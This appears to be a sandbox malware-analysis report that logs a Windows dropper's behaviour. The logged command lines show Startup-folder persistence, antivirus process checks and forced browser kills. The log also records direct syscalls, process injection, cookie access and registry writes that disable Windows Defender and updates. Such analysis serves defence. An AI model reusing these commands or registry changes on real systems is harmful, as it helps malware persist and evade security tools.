Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A70B50 rdtsc

0_2_04A70B50

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe

Code function: 9_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

9_2_00406328

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 2848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ee5495637.exe PID: 420, type: MEMORYSTR

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtReadFile: Direct from: 0x7FF6D8417D7F
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQueryAttributesFile: Direct from: 0x7FF61837CE4E
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtProtectVirtualMemory: Direct from: 0x7FF61833B26C
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtProtectVirtualMemory: Direct from: 0x7FF6D8438FF0
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtClose: Direct from: 0x7FF6D8418693
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQuerySystemInformation: Direct from: 0x7FF61837C4AD
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQueryInformationToken: Direct from: 0x7FF6D84A3508
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQueryAttributesFile: Direct from: 0x7FF61837D642
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtOpenFile: Direct from: 0x7FF6D848C37B
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtClose: Direct from: 0x7FF61837C5C7
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtProtectVirtualMemory: Direct from: 0x7FF6D844B26C
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtProtectVirtualMemory: Direct from: 0x7FF618328FF0
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtDelayExecution: Direct from: 0x7FF618311C92
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQueryAttributesFile: Direct from: 0x7FF6D848D642
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtProtectVirtualMemory: Direct from: 0x7FF6D84183B5
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtWriteFile: Direct from: 0x7FF6D848B9D7
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtDelayExecution: Direct from: 0x7FF6D848DFD8
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtProtectVirtualMemory: Direct from: 0x7FF6D848C119
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtOpenFile: Direct from: 0x7FF6D848BF1E
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtClose: Direct from: 0x7FF6D848C3CD
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQuerySystemInformation: Direct from: 0x7FF6D8434924
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQuerySystemInformation: Direct from: 0x7FF6D848C4AD
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQueryAttributesFile: Direct from: 0x7FF6D848CE4E
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtMapViewOfSection: Direct from: 0x7FF61837C508
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtClose: Direct from: 0x7FF6D848CE61
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQuerySystemInformation: Direct from: 0x7FF618324924
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtDelayExecution: Direct from: 0x7FF6D8421C92
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtQueryAttributesFile: Direct from: 0x7FF6D848C1E1
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQuerySystemInformation: Direct from: 0x7FFE221C26A1
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtProtectVirtualMemory: Direct from: 0x7FF6183083B5
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtQueryInformationToken: Direct from: 0x7FF618393508
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtUnmapViewOfSection: Direct from: 0x7FF61837C4BD
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtClose: Direct from: 0x7FF6D848C5C7
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtCreateFile: Direct from: 0x7FF6D841787C
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtSetInformationFile: Direct from: 0x7FF6D8417A79
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtClose: Direct from: 0x7FF6D848C200
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtClose: Direct from: 0x7FF61837FD06
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtDelayExecution: Direct from: 0x7FF61837DFD8
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	NtClose: Direct from: 0x7FF61837C37B
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtSetInformationFile: Direct from: 0x7FF6D8417A91
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	NtMapViewOfSection: Direct from: 0x7FF6D848C4BD

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Memory written: C:\Users\user\AppData\Local\Temp\662510\Ryan.com base: 1F6E6E00000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Memory written: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr base: 2629FA10000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Thread register set: target process: 1640
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Thread register set: target process: 6624

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe "C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe "C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe "C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe "C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 662510	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Cameras + ..\Webmaster + ..\Contained + ..\More + ..\Wow + ..\Kg + ..\Love + ..\Parameter + ..\Dallas + ..\Falls + ..\Principal + ..\Tft + ..\Enabling + ..\Id + ..\Raise + ..\Tests + ..\Fw + ..\Dist + ..\Optimum + ..\Editor + ..\Lady + ..\William + ..\Myers + ..\Distribution + ..\All + ..\Republicans + ..\Candidates + ..\Blond + ..\Bermuda + ..\Tablets + ..\Defend + ..\Statement + ..\Streams + ..\Extensive + ..\Ecommerce + ..\Tourist + ..\Transsexual + ..\Participation + ..\Strange + ..\Remedy + ..\Thursday + ..\Client + ..\Courts + ..\Malta + ..\Mel + ..\Quantitative A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\662510\Ryan.com Ryan.com A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr" "C:\Users\user\AppData\Local\GuardTech Solutions\K"
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\cameras + ..\webmaster + ..\contained + ..\more + ..\wow + ..\kg + ..\love + ..\parameter + ..\dallas + ..\falls + ..\principal + ..\tft + ..\enabling + ..\id + ..\raise + ..\tests + ..\fw + ..\dist + ..\optimum + ..\editor + ..\lady + ..\william + ..\myers + ..\distribution + ..\all + ..\republicans + ..\candidates + ..\blond + ..\bermuda + ..\tablets + ..\defend + ..\statement + ..\streams + ..\extensive + ..\ecommerce + ..\tourist + ..\transsexual + ..\participation + ..\strange + ..\remedy + ..\thursday + ..\client + ..\courts + ..\malta + ..\mel + ..\quantitative a
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\lionguard.url" & echo url="c:\users\user\appdata\local\guardtech solutions\lionguard.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\lionguard.url" & exit
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & echo url="c:\users\user\appdata\local\innosphere dynamics\innosphere.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\cameras + ..\webmaster + ..\contained + ..\more + ..\wow + ..\kg + ..\love + ..\parameter + ..\dallas + ..\falls + ..\principal + ..\tft + ..\enabling + ..\id + ..\raise + ..\tests + ..\fw + ..\dist + ..\optimum + ..\editor + ..\lady + ..\william + ..\myers + ..\distribution + ..\all + ..\republicans + ..\candidates + ..\blond + ..\bermuda + ..\tablets + ..\defend + ..\statement + ..\streams + ..\extensive + ..\ecommerce + ..\tourist + ..\transsexual + ..\participation + ..\strange + ..\remedy + ..\thursday + ..\client + ..\courts + ..\malta + ..\mel + ..\quantitative a	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\lionguard.url" & echo url="c:\users\user\appdata\local\guardtech solutions\lionguard.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\lionguard.url" & exit
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & echo url="c:\users\user\appdata\local\innosphere dynamics\innosphere.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\innosphere.url" & exit

Source: Ryan.com, 00000012.00000003.2651621159.000002095A15C000.00000004.00000001.00020000.00000000.sdmp, Ryan.com, 00000012.00000000.2640827400.00007FF6D84E8000.00000002.00000001.01000000.0000000C.sdmp, LionGuard.scr, 0000001E.00000000.2762180938.00007FF6183D8000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000002.00000002.1759762042.0000000000883000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: .Program Manager

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe

Code function: 9_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

9_2_00406831

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 3907f97605.exe, 0000001F.00000003.3237931398.00000000014C4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

